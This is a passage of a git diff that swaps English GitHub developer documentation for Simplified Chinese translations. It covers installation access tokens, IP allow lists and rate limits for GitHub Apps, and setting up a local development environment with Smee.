variables.product.prodname_github_apps %} 用于进行身份验证。 有关详细信息,请参阅“[安装 GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)”。 -By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour. +默认情况下,安装访问令牌的作用域为安装可访问的所有仓库。 可使用 `repository_ids` 参数将安装访问令牌的范围限定于特定存储库。 有关更多详细信息,请参阅[为应用创建安装访问令牌](/rest/reference/apps#create-an-installation-access-token-for-an-app)终结点。 安装访问令牌具有由 {% data variables.product.prodname_github_app %} 配置的权限,一个小时后到期。 -To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request: +要列出经过身份验证的应用的安装,请在 API 请求的授权标头中包含[上面生成](#jwt-payload)的 JWT: ```shell $ curl -i -X GET \ @@ -132,9 +133,9 @@ $ curl -i -X GET \ {% data variables.product.api_url_pre %}/app/installations ``` -The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)." +响应将包括一个安装列表,其中每个安装的 `id` 可用来创建一个安装访问令牌。 有关响应格式的详细信息,请参阅“[列出经过身份验证的应用的安装](/rest/reference/apps#list-installations-for-the-authenticated-app)”。 -To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`: +要创建安装访问令牌,请在 API 请求的授权标头中包含[上面生成](#jwt-payload)的 JWT,并将 `:installation_id` 替换为安装的 `id`: ```shell $ curl -i -X POST \ @@ -143,34 +144,28 @@ $ curl -i -X POST \ {% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens ``` -The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint. +响应将包括您的安装访问令牌、到期日期、令牌权限及令牌可访问的仓库。 有关响应格式的详细信息,请参阅[为应用创建安装访问令牌](/rest/reference/apps#create-an-installation-access-token-for-an-app)。 -To authenticate with an installation access token, include it in the Authorization header in the API request: +要使用安装访问令牌进行身份验证,请将其加入 API 请求的“授权”标头中。 ```shell $ curl -i \ --H "Authorization: Bearer YOUR_INSTALLATION_ACCESS_TOKEN" \ +-H "Authorization: token YOUR_INSTALLATION_ACCESS_TOKEN" \ -H "Accept: application/vnd.github+json" \ {% data variables.product.api_url_pre %}/installation/repositories ``` -`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace. +`YOUR_INSTALLATION_ACCESS_TOKEN` 值必须替换。 -{% note %} +## 作为安装访问 API 端点 -**Note:** {% data reusables.getting-started.bearer-vs-token %} +有关使用安装访问令牌的 {% data variables.product.prodname_github_apps %} 可用的 REST API 终结点列表,请参阅“[可用终结点](/rest/overview/endpoints-available-for-github-apps)”。 -{% endnote %} +有关与安装相关的终结点的列表,请参阅“[安装](/rest/reference/apps#installations)”。 -## Accessing API endpoints as an installation +## 由安装验证基于 HTTP 的 Git 访问权限 -For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)." - -For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)." - -## HTTP-based Git access by an installation - -Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password: +在存储库的 `contents` 上拥有[权限](/apps/building-github-apps/setting-permissions-for-github-apps/)的安装可以使用其安装访问令牌对 Git 访问进行身份验证。 使用安装访问令牌作为 HTTP 密码: ```shell git clone https://x-access-token:<token>@github.com/owner/repo.git diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md b/translations/zh-CN/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md index 52e1519479..0b7d27c59f 100644 --- a/translations/zh-CN/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md +++ b/translations/zh-CN/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md @@ -1,6 +1,6 @@ --- -title: Managing allowed IP addresses for a GitHub App -intro: 'You can add an IP allow list to your {% data variables.product.prodname_github_app %} to prevent your app from being blocked by an organization''s own allow list.' +title: 管理 GitHub 应用程序允许的 IP 地址 +intro: '您可以将 IP 允许列表添加到您的 {% data variables.product.prodname_github_app %},以防止您的应用被组织自己的允许列表阻止。' versions: fpt: '*' ghae: '*' @@ -8,30 +8,27 @@ versions: topics: - GitHub Apps shortTitle: Manage allowed IP addresses +ms.openlocfilehash: 2206f42dbf5ead57cd12d7c3c52c71def5b9f54f +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145099206' --- +## 关于 {% data variables.product.prodname_github_apps %} 的 IP 地址允许列表 -## About IP address allow lists for {% data variables.product.prodname_github_apps %} +企业和组织所有者可以通过配置 IP 地址允许列表来限制对资产的访问。 此列表指定允许连接的 IP 地址。 有关详细信息,请参阅“[为企业中的安全设置强制实施策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)”。 -Enterprise and organization owners can restrict access to assets by configuring an IP address allow list. This list specifies the IP addresses that are allowed to connect. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)." +当组织拥有允许列表时,通过 {% data variables.product.prodname_github_app %} 连接的第三方应用程序将被拒绝访问,除非以下两个条件成立: -When an organization has an allow list, third-party applications that connect via a {% data variables.product.prodname_github_app %} will be denied access unless both of the following are true: - -* The creator of the {% data variables.product.prodname_github_app %} has configured an allow list for the application that specifies the IP addresses at which their application runs. See below for details of how to do this. -* The organization owner has chosen to permit the addresses in the {% data variables.product.prodname_github_app %}'s allow list to be added to their own allow list. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +* {% data variables.product.prodname_github_app %} 的创建者为应用程序配置了允许列表,其中指定了其应用程序运行的 IP 地址。 有关如何操作的详细信息,请参阅下文。 +* 组织所有者选择允许将 {% data variables.product.prodname_github_app %} 允许列表中的地址添加到自己的允许列表中。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[管理组织允许的 IP 地址](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list){% ifversion fpt %}”。{% else %}."{% endif %} {% data reusables.apps.ip-allow-list-only-apps %} -## Adding an IP address allow list to a {% data variables.product.prodname_github_app %} +## 将 IP 地址允许列表添加到 {% data variables.product.prodname_github_app %} -{% data reusables.identity-and-permissions.ipv6-allow-lists %} - -{% data reusables.apps.settings-step %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -{% data reusables.user-settings.modify_github_app %} -1. Scroll down to the "IP allow list" section. -![Basic information section for your GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png) -{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} - The description is for your reference and is not used in the allow list of organizations where the {% data variables.product.prodname_github_app %} is installed. Instead, organization allow lists will include "Managed by the NAME GitHub App" as the description. +{% data reusables.apps.settings-step %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.github_apps %} {% data reusables.user-settings.modify_github_app %} +1. 向下滚动到“IP 允许列表”部分。 +![GitHub 应用的基本信息部分](/assets/images/github-apps/github-apps-allow-list-empty.png) {% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} {% data reusables.identity-and-permissions.ip-allow-lists-add-description %} 该说明供你参考,并未在安装 {% data variables.product.prodname_github_app %} 的组织允许列表中使用。 相反,组织允许列表将包括“按名称 GitHub 应用程序管理”作为说明。 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md b/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md index 8f7e7bdec0..cf3b460a7a 100644 --- a/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md +++ b/translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md @@ -1,5 +1,5 @@ --- -title: Rate limits for GitHub Apps +title: GitHub 应用的速率限制 intro: '{% data reusables.shortdesc.rate_limits_github_apps %}' redirect_from: - /early-access/integrations/rate-limits @@ -15,57 +15,62 @@ versions: topics: - GitHub Apps shortTitle: Rate limits +ms.openlocfilehash: fd2c9a92c6603a6e64ec17b614f46baf2370c98b +ms.sourcegitcommit: d243bbae4ce3c849695b5bc9221e705ee5a4a64f +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/12/2022 +ms.locfileid: '147081126' --- - {% data reusables.enterprise.rate_limit %} {% data reusables.rest-api.always-check-your-limit %} {% ifversion ghec or fpt %} -## About rate limits for apps +## 关于应用程序的速率限制 -Rate limits for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} depend on the plan for the organization where you install the application. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)" and "[Types of {% data variables.product.company_short %} accounts](/get-started/learning-about-github/types-of-github-accounts#organization-accounts)." +{% data variables.product.prodname_github_apps %} 和 {% data variables.product.prodname_oauth_apps %} 的速率限制取决于安装应用程序的组织的计划。 有关详细信息,请参阅“[{% data variables.product.company_short %} 的产品](/get-started/learning-about-github/githubs-products)”和“[{% data variables.product.company_short %} 帐户的类型](/get-started/learning-about-github/types-of-github-accounts#organization-accounts)”。 {% endif %} -## Server-to-server requests +## 服务器到服务器请求 {% ifversion ghec or fpt %} -### Default server-to-server rate limits for {% data variables.product.prodname_dotcom_the_website %} +### {% data variables.product.prodname_dotcom_the_website %} 的默认服务器到服务器速率限制 {% endif %} -{% data variables.product.prodname_github_apps %} making server-to-server requests use the installation's minimum rate limit of 5,000 requests per hour. If an application is installed on an organization with more than 20 users, the application receives another 50 requests per hour for each user. Installations that have more than 20 repositories receive another 50 requests per hour for each repository. The maximum rate limit for an installation is 12,500 requests per hour. +发出服务器-服务器请求的 {% data variables.product.prodname_github_apps %} 使用安装的最低速率限制为每小时 5,000 个请求。 如果应用程序安装在具有 20 个以上用户的组织中,则该应用程序每小时为每个用户再接收 50 个请求。 具有 20 个以上仓库的安装每小时会为每个仓库再接收 50 个请求。 安装的最大速率限制为每小时 12,500 个请求。 {% ifversion fpt or ghec %} -### Server-to-server rate limits for {% data variables.product.prodname_ghe_cloud %} +### {% data variables.product.prodname_ghe_cloud %} 的服务器到服务器速率限制 {% endif %} {% ifversion fpt or ghec %} -{% data variables.product.prodname_github_apps %} that are installed on an organization within an enterprise on {% data variables.location.product_location %} are subject to a limit of 15,000 requests per hour per organization that has installed the app. +安装在 {% data variables.product.product_location %} 上企业内的组织或存储库上的 {% data variables.product.prodname_github_apps %} 每小时有 15,000 个请求的限制。 {% endif %} -## User-to-server requests +## 用户到服务器请求 -{% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} can also act on behalf of a user, making user-to-server requests after the user authorizes the app. For more information, see "[Authorizing {% data variables.product.prodname_github_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)" and "[Authorizing {% data variables.product.prodname_oauth_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)." +{% data variables.product.prodname_github_apps %} 和 {% data variables.product.prodname_oauth_apps %} 还可以代表用户执行操作,在用户授权应用后发出用户到服务器的请求。 有关详细信息,请参阅“[授权 {% data variables.product.prodname_github_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)”和“[授权 {% data variables.product.prodname_oauth_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)”。 -User-to-server requests from {% data variables.product.prodname_oauth_apps %} are authenticated with an OAuth token. User-to-server requests from {% data variables.product.prodname_github_apps %} are authenticated with either an OAuth token or an expiring user access token. For more information, see "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#identifying-and-authorizing-users-for-github-apps)" and "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps/authorizing-oauth-apps)." +来自 {% data variables.product.prodname_oauth_apps %} 的用户到服务器请求使用 OAuth 令牌进行身份验证。 来自 {% data variables.product.prodname_github_apps %} 的用户到服务器请求使用 OAuth 令牌或即将过期的用户访问令牌进行身份验证。 有关详细信息,请参阅“[为 {% data variables.product.prodname_github_apps %} 识别和授权用户](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#identifying-and-authorizing-users-for-github-apps)”和“[授权 {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps/authorizing-oauth-apps)”。 {% ifversion fpt or ghec %} -### Default user-to-server rate limits for {% data variables.product.prodname_dotcom_the_website %} +### {% data variables.product.prodname_dotcom_the_website %} 的默认用户到服务器速率限制 {% endif %} {% ifversion ghec %} -The rate limits for user-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.location.product_location %}, then the rate is higher than for installations outside an enterprise. +{% data variables.product.prodname_github_apps %} 发出的用户到服务器请求的速率限制取决于应用程序的安装位置。 如果应用程序安装在 {% data variables.product.product_location %} 上由企业拥有的组织或存储库上,则速率高于企业外部的安装。 {% endif %} @@ -73,13 +78,13 @@ The rate limits for user-to-server requests made by {% data variables.product.pr {% ifversion fpt or ghec %} -### User-to-server rate limits for {% data variables.product.prodname_ghe_cloud %} +### {% data variables.product.prodname_ghe_cloud %} 的用户到服务器速率限制 {% data reusables.apps.user-to-server-rate-limits-ghec %} {% endif %} -## Further reading +## 延伸阅读 -- "[Rate limiting](/rest/overview/resources-in-the-rest-api#rate-limiting)" in the REST API documentation -- "[Resource limitations](/graphql/overview/resource-limitations)" in the GraphQL API documentation +- REST API 文档中的“[速率限制](/rest/overview/resources-in-the-rest-api#rate-limiting)” +- GraphQL API 文档中的“[资源限制](/graphql/overview/resource-limitations)” diff --git a/translations/zh-CN/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md b/translations/zh-CN/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md index c0806fccb2..4e3a386479 100644 --- a/translations/zh-CN/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md +++ b/translations/zh-CN/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md @@ -1,6 +1,6 @@ --- -title: Setting up your development environment to create a GitHub App -intro: 'Learn the foundations for extending and building new {% data variables.product.prodname_github_apps %}.' +title: 设置开发环境以创建 GitHub 应用程序 +intro: '了解扩展和构建新 {% data variables.product.prodname_github_apps %} 的基础。' redirect_from: - /apps/quickstart-guides/setting-up-your-development-environment - /developers/apps/setting-up-your-development-environment-to-create-a-github-app @@ -12,146 +12,151 @@ versions: topics: - GitHub Apps shortTitle: Development environment +ms.openlocfilehash: 61370cfa0643bcba91cfe78e077346cd40286e1e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145085031' --- -## Introduction +## 简介 -This guide will walk through the steps needed to configure a GitHub App and run it on a server. GitHub Apps require some setup steps to manage webhook events and connect the app registration on GitHub to your code. The app in this guide serves as a foundation that you can use to extend and build new GitHub Apps. +本指南将演练配置 GitHub 应用程序并在服务器上运行它所需的步骤。 GitHub 应用程序需要一些设置步骤来管理 web 挂钩事件并将 GitHub 上的应用程序注册连接到您的代码。 本指南中的应用程序可用作扩展和构建新 GitHub 应用程序的基础。 -By the end of this guide you'll have registered a GitHub App and set up a web server to receive webhook events. You'll learn how to use a tool called Smee to capture webhook payloads and forward them to your local development environment. The template app you'll configure in this section won't do anything special yet, but it will serve as a framework you can use to start writing app code using the API or complete other [quickstart guides](/apps/quickstart-guides/). {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %} +在本指南结束之前,您将注册 GitHub 应用程序并设置 web 服务器以接收 web 挂钩事件。 您将学习如何使用名为 Smee 的工具捕获 web 挂钩有效负载,并将它们转发到本地开发环境。 你将在本部分中配置的模板应用还没有进行任何特别的操作,但它将作为一个框架,你可以使用该框架开始使用 API 编写应用代码或完成其他[快速入门指南](/apps/quickstart-guides/)。 {% ifversion fpt or ghec %}可以在 [GitHub 市场](https://github.com/marketplace)中查看应用的成功示例,并[与 GitHub 配合使用](https://github.com/works-with)。{% endif %} -After completing this project you will understand how to authenticate as a GitHub App and an installation, and how those authentication methods are different. +完成此项目后,您将了解如何验证为 GitHub 应用程序和安装设施,以及这些身份验证方法有何不同。 -Here are the steps you'll take to configure the template GitHub App: +以下是配置模板 GitHub 应用程序的步骤: -1. [Start a new Smee channel](#step-1-start-a-new-smee-channel) -1. [Register a new GitHub App](#step-2-register-a-new-github-app) -1. [Save your private key and App ID](#step-3-save-your-private-key-and-app-id) -1. [Prepare the runtime environment](#step-4-prepare-the-runtime-environment) -1. [Review the GitHub App template code](#step-5-review-the-github-app-template-code) -1. [Start the server](#step-6-start-the-server) -1. [Install the app on your account](#step-7-install-the-app-on-your-account) +1. [启动新的 Smee 通道](#step-1-start-a-new-smee-channel) +1. [注册新的 GitHub 应用](#step-2-register-a-new-github-app) +1. [保存私钥和应用 ID](#step-3-save-your-private-key-and-app-id) +1. [准备运行时环境](#step-4-prepare-the-runtime-environment) +1. [审查 GitHub 应用模板代码](#step-5-review-the-github-app-template-code) +1. [启动服务器](#step-6-start-the-server) +1. [在帐户上安装应用](#step-7-install-the-app-on-your-account) {% data reusables.apps.app-ruby-guides %} -## Prerequisites +## 先决条件 -You may find it helpful to have a basic understanding of the following: +您可能会发现对以下内容有基本的了解很有帮助: -* [GitHub Apps](/apps/about-apps) -* [Webhooks](/webhooks) -* [The Ruby programming language](https://www.ruby-lang.org/en/) -* [REST APIs](/rest) +* [GitHub 应用](/apps/about-apps) +* [Webhook](/webhooks) +* [Ruby 编程语言](https://www.ruby-lang.org/en/) +* [REST API](/rest) * [Sinatra](http://sinatrarb.com/) -But you can follow along at any experience level. We'll link out to information you need along the way! +但是,任何经验水平都能跟上步伐。 我们会一路提供所需信息的链接。 -Before you begin, you'll need to clone the repository with the template code used in this quickstart. Open your Terminal app and find a directory where you'd like to store the code. Run this command to clone the [GitHub App template](https://github.com/github-developer/github-app-template) repository: +在开始之前,您需要使用本快速入门中所用的模板代码克隆仓库。 打开您的终端应用程序并找到要存储代码的目录。 运行以下命令以克隆 [GitHub 应用模板](https://github.com/github-developer/github-app-template)存储库: ```shell $ git clone https://github.com/github-developer/github-app-template.git ``` -## Step 1. Start a new Smee channel +## 步骤 1。 启动新的 Sme 通道 -To help GitHub send webhooks to your local machine without exposing it to the internet, you can use a tool called Smee. First, go to https://smee.io and click **Start a new channel**. If you're already comfortable with other tools that expose your local machine to the internet like [`ngrok`](https://dashboard.ngrok.com/get-started) or [`localtunnel`](https://localtunnel.github.io/www/), feel free to use those. +为了帮助 GitHub 将 web 挂钩发送到您的本地计算机而不将其暴露在互联网上,您可以使用一个名为 Smee 的工具。 首先,转到 https://smee.io 并单击“启动新通道”。 如果你已经熟悉向 Internet(例如 [`ngrok`](https://dashboard.ngrok.com/get-started) 或 [`localtunnel`](https://localtunnel.github.io/www/))公开本地计算机的其他工具,则可以随意使用这些工具。 -![The Smee new channel button](/assets/images/smee-new-channel.png) +![Smee 新通道按钮](/assets/images/smee-new-channel.png) -Starting a new Smee channel creates a unique domain where GitHub can send webhook payloads. You'll need to know this domain for the next step. Here is an example of a unique domain at `https://smee.io/qrfeVRbFbffd6vD`: +启动一个新的 Smee 通道并创建一个唯一的域,供 GitHub 发送 web 挂钩有效负载。 下一步需要了解此域。 下面是 `https://smee.io/qrfeVRbFbffd6vD` 的唯一域示例: -![A Smee unique channel](/assets/images/smee-unique-domain.png) +![Smee 唯一通道](/assets/images/smee-unique-domain.png) -Next, go back to the Terminal and follow these steps to run the Smee command-line interface (CLI) client: +接下来,返回终端并按照以下步骤运行 Smee 命令行接口 (CLI) 客户端: {% note %} -**Note:** The following steps are slightly different than the "Use the CLI" instructions you'll see in your Smee channel page. You do **not** need to follow the "Use the Node.js client" or "Using Probot's built-in support" instructions. +注意:以下步骤与你在 Smee 通道页面中看到的“使用 CLI”说明略有不同。 不需要遵循“使用 Node.js 客户端”或“使用 Probot 的内置支持”说明。 {% endnote %} -1. Install the client: +1. 安装客户端: ```shell $ npm install --global smee-client ``` -2. Run the client (replacing `https://smee.io/qrfeVRbFbffd6vD` with your own domain): +2. 运行客户端(将 `https://smee.io/qrfeVRbFbffd6vD` 替换为自己的域): ```shell $ smee --url https://smee.io/qrfeVRbFbffd6vD --path /event_handler --port 3000 ``` - You should see output like the following: + 应会看到如下输出: ```shell Forwarding https://smee.io/qrfeVRbFbffd6vD to http://127.0.0.1:3000/event_handler Connected https://smee.io/qrfeVRbFbffd6vD ``` -The `smee --url ` command tells Smee to forward all webhook events received by the Smee channel to the Smee client running on your computer. The `--path /event_handler` option forwards events to the `/event_handler` route, which we'll cover in a [later section](#step-5-review-the-github-app-template-code). The `--port 3000` option specifies port 3000, which is the port your server will be listening to. Using Smee, your machine does not need to be open to the public internet to receive webhooks from GitHub. You can also open that Smee URL in your browser to inspect webhook payloads as they come in. +`smee --url ` 命令告诉 Smee 将 Smee 通道接收到的所有 webhook 事件转发到计算机上运行的 Smee 客户端。 `--path /event_handler` 选项会将事件转发到 `/event_handler` 路由,我们将在 [后面的部分](#step-5-review-the-github-app-template-code)中介绍这些事件。 `--port 3000` 选项指定端口 3000,这是服务器将侦听的端口。 使用 Smee,您的计算机不需要向公共互联网开放即可从 GitHub 接收 web 挂钩。 您也可以在浏览器中打开 Smee URL 来检查 web 挂钩有效负载。 -We recommend leaving this Terminal window open and keeping Smee connected while you complete the rest of the steps in this guide. Although you _can_ disconnect and reconnect the Smee client without losing your unique domain (unlike `ngrok`), you may find it easier to leave it connected and do other command-line tasks in a different Terminal window. +我们建议您在完成本指南其余步骤时保持此终端窗口打开并保持 Smee 连接。 虽然可以断开连接和重新连接 Smee 客户端而不会丢失唯一域(与 `ngrok` 不同),但你可能会发现保持连接状态并在不同的终端窗口中执行其他命令行任务更容易。 -## Step 2. Register a new GitHub App +## 步骤 2. 注册新的 GitHub 应用程序 -If you don't yet have a GitHub account, now is a [great time to join](https://github.com/join). Don't forget to verify your email before continuing! To register a new app, visit the [app settings page](https://github.com/settings/apps) in your GitHub profile, and click **New GitHub App**. +如果还没有 GitHub 帐户,现在是[加入的好时机](https://github.com/join)。 在继续之前,不要忘记验证您的电子邮件地址! 若要注册新应用,请访问 GitHub 配置文件中的[应用设置页面](https://github.com/settings/apps),然后单击“新建 GitHub 应用”。 -![GitHub website, showing the **New App**](/assets/images/new-app.png) +![GitHub 网站,显示 **新应用程序**](/assets/images/new-app.png) -You'll see a form where you can enter details about your app. See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" for general information about the fields on this page. For the purposes of this guide, you'll need to enter specific data in a few fields: +您将看到一个表单,您可以在其中输入有关应用程序的详细信息。 有关此页上字段的常规信息,请参阅“[创建 GitHub 应用](/apps/building-github-apps/creating-a-github-app/)”。 在本指南中,您需要在几个字段中输入特定数据: {% note %} -**Note:** You can always update these settings later to point to a hosted server. +注意:可以随时更新这些设置以指向托管服务器。 {% endnote %} -* For the "Homepage URL", use the domain issued by Smee. For example: +* 对于“主页 URL”,请使用 Smee 发布的域名。 例如: - ![Form with Smee domain filled in for homepage URL](/assets/images/homepage-url.png) + ![为主页 URL 填写 Smee 域的表单](/assets/images/homepage-url.png) -* For the "Webhook URL", again use the domain issued by Smee. For example: +* 对于“web 挂钩 URL”,也请使用 Smee 发布的域名。 例如: - ![Form with Smee domain filled in for webhook URL](/assets/images/webhook-url.png) + ![为 web 挂钩 URL 填写 Smee 域的表单](/assets/images/webhook-url.png) -* For the "Webhook secret", create a password to secure your webhook endpoints. This should be something that only you (and GitHub, via this form) know. The secret is important because you will be receiving payloads from the public internet, and you'll use this secret to verify the webhook sender. Note that the GitHub App settings say the webhook secret is optional, which is true in most cases, but for the template app code to work, you must set a webhook secret. +* 对于“web 挂钩密钥”,请创建密码来保护您的 web 挂钩端点。 这应该是只有您(和 GitHub 通过此表单)知道的密码。 此密钥很重要,因为您将从公共互联网接收有效负载,并且您将使用此密钥来验证 web 挂钩发送者。 请注意,GitHub 应用程序设置表示 web 挂钩密钥是可选的,在大多数情况下确实如此,但要使模板应用程序代码正常工作,您必须设置 web 挂钩密钥。 - ![Form with webhook secret filled in](/assets/images/webhook-secret.png) + ![填写 web 挂钩密钥的表单](/assets/images/webhook-secret.png) -* On the Permissions & Webhooks page, you can specify a set of permissions for your app, which determines how much data your app has access to. Under the "Repository permissions" - section, scroll down to "Metadata" and select `Access: Read-only`. If you decide to extend this template app, you can update these permissions later. +* 在“权限和 Webhook”页面上,可以为应用指定一组权限,这决定了应用可以访问的数据量。 在“存储库权限”部分下,向下滚动到“元数据”并选择 `Access: Read-only`。 如果您决定扩展此模板应用程序,可以在以后更新这些权限。 -* At the bottom of the Permissions & Webhooks page, specify whether this is a private app or a public app. This refers to who can install it: just you, or anyone in the world? For now, leave the app as private by selecting **Only on this account**. +* 在“权限和 Webhook”页面的底部,指定这是专用应用还是公共应用。 这是指谁可以安装它:是只有您自己,还是世界上任何人? 现在,通过选择“仅在此帐户上”,将应用设为专用。 - ![GitHub App privacy](/assets/images/create_app.png) + ![GitHub 应用程序隐私](/assets/images/create_app.png) -Click **Create GitHub App** to create your app! +单击“创建 GitHub 应用”以创建应用! -## Step 3. Save your private key and App ID +## 步骤 3. 保存私钥和应用程序 ID -After you create your app, you'll be taken back to the [app settings page](https://github.com/settings/apps). You have two more things to do here: +创建应用后,将返回到[应用设置页面](https://github.com/settings/apps)。 您还有两件事要做: -* **Generate a private key for your app.** This is necessary to authenticate your app later on. Scroll down on the page and click **Generate a private key**. Save the resulting `PEM` file (called something like _`app-name`_-_`date`_-`private-key.pem`) in a directory where you can find it again. +* 为应用生成私钥。 稍后对应用进行身份验证时,需要此私钥。 向下滚动页面,然后单击“生成私钥”。 将生成的 `PEM` 文件(称为 _`app-name`_ - _`date`_ -`private-key.pem`)保存在可以再次找到它的目录中。 - ![The private key generation dialog](/assets/images/private_key.png) + ![私钥生成对话框](/assets/images/private_key.png) -* **Note the app ID GitHub has assigned your app.** You'll need this to prepare your runtime environment. +* 记下 GitHub 为应用分配的应用 ID。 准备运行时环境时需要此信息。 Your app's ID number -## Step 4. Prepare the runtime environment +## 步骤 4. 准备运行时环境 -To keep your information secure, we recommend putting all your app-related secrets in your computer's memory where your app can find them, rather than putting them directly in your code. A handy development tool called [dotenv](https://github.com/bkeepers/dotenv) loads project-specific environment variables from a `.env` file to `ENV`. Never check your `.env` file into GitHub. This is a local file that stores sensitive information that you don't want on the public internet. The `.env` file is already included in the repository's [`.gitignore`](/github/getting-started-with-github/ignoring-files/) file to prevent that. +为了保证您的信息安全,我们建议将与应用程序相关的所有密钥放在应用程序可以找到的计算机内存中,而不是直接将它们放在代码中。 一个名为 [dotenv](https://github.com/bkeepers/dotenv) 的便捷开发工具将特定于项目的环境变量从 `.env` 文件加载到 `ENV`。 切勿将 `.env` 文件签入 GitHub。 这是一个本地文件,用于存储您不希望在公共互联网上公开的敏感信息。 `.env` 文件已包含在存储库的 [`.gitignore`](/github/getting-started-with-github/ignoring-files/) 文件中以防止这种情况发生。 -The template code you downloaded in the [Prerequisites section](#prerequisites) already has an example file called `.env-example`. Rename the example file from `.env-example` to `.env` or create a copy of the `.env-example` file called `.env`. You haven't installed dotenv yet, but you will install it later in this quickstart when you run `bundle install`. **Note:** Quickstarts that reference the steps in this guide may include additional environment variables in the `.env-example` file. Reference the quickstart guide for the project you've cloned on GitHub for guidance setting those additional environment variables. +在[先决条件部分](#prerequisites)下载的模板代码已经有一个名为 `.env-example` 的示例文件。 将示例文件从 `.env-example` 重命名为 `.env` 或创建名为 `.env` 的 `.env-example` 文件的副本。 你尚未安装 dotenv,但将在本快速入门中稍后运行 `bundle install` 时安装它。 注意:参考本指南中的步骤的快速入门可能会在 `.env-example` 文件中包含其他环境变量。 有关设置这些附加环境变量的指南,请参考 GitHub 上克隆的项目的快速入门指南。 -You need to add these variables to the `.env` file: +需要将这些变量添加到 `.env` 文件中: -* _`GITHUB_PRIVATE_KEY`_: Add the private key you [generated and saved previously](#step-3-save-your-private-key-and-app-id). Open the `.pem` file with a text editor or use the command line to display the contents of the file: `cat path/to/your/private-key.pem`. Copy the entire contents of the file as the value of `GITHUB_PRIVATE_KEY` in your `.env` file. **Note:** Because the PEM file is more than one line you'll need to add quotes around the value like the example below. 